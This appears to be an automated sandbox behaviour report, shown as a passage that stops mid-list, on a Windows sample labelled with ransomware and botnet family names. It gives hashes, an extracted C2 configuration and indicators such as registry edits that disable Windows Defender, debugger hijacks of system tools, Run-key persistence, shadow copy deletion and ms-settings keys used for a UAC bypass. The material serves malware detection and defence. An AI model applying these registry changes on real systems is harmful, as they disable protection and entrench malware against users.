Analysis
- max time kernel
150s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
07/08/2026, 23:24
Behavioral task
behavioral1
Sample
2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
49 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
46 signatures
150 seconds
General
- Target 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 48KB
- Sample260807-3dptcsvgkf
- SHA256 32002c27201270ccff45f1abe267a8d1a0a387c94c7fe8ff95069e6f0e2eee3f
- MD5 5bee5274e176b4a48eb74c75ecff27a5
- SHA1 a00a7260b8a280549b780357dddadb106a74474f
- SHA512 04ccd7959f3aaff2e2b33601154759be2c69e6234bbad13bcc773566d6fb450915853c4fa6d676c0b9f44269c5c25116528cf692f8c4ba59ada4ad68662e375c
- SSDEEP 768:0hPFhLTWeTOG+FFefF7SpeGrqx4b//o4BC1XXGblfA0mKFcA:oPnT2oAAGdbI4BEXGblf9mucA
- TLSH T15A23F70437F98511F5BF4ABA8DB196019B31B8979C32D78E07D5058E1AB3B40CDA8B7B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://nklcb.io
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://nklcb.io
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/3128-0-0x0000000000C00000-0x0000000000C12000-memory.dmp disable_win_def behavioral1/files/0x000700000002485b-2383.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral1/memory/3128-0-0x0000000000C00000-0x0000000000C12000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral1/files/0x000700000002485b-2383.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral1/memory/3128-0-0x0000000000C00000-0x0000000000C12000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral1/files/0x000700000002485b-2383.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1864 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4052 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 2340 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5448 wscript.exe 5556 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4780 sc.exe 5892 sc.exe 5888 sc.exe 2384 sc.exe 4288 sc.exe 4676 sc.exe 3424 sc.exe 2904 sc.exe 5008 sc.exe 4008 sc.exe 3824 sc.exe 2172 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 892 cmd.exe 5676 cmd.exe 5728 cmd.exe 4688 cmd.exe 5240 cmd.exe 5440 cmd.exe 5512 cmd.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4320 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 268 NETSTAT.EXE 6072 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4268 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 464 vssadmin.exe 5692 vssadmin.exe 4288 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306186697238596" chrome.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe - Modifies registry class 17 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings\shell\open 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings\shell\open\command 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings\shell 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings\shell 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings 2026-08-07_5bee5274e176b4a48eb74c75ecff27a5_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\ms-settings\shell\open 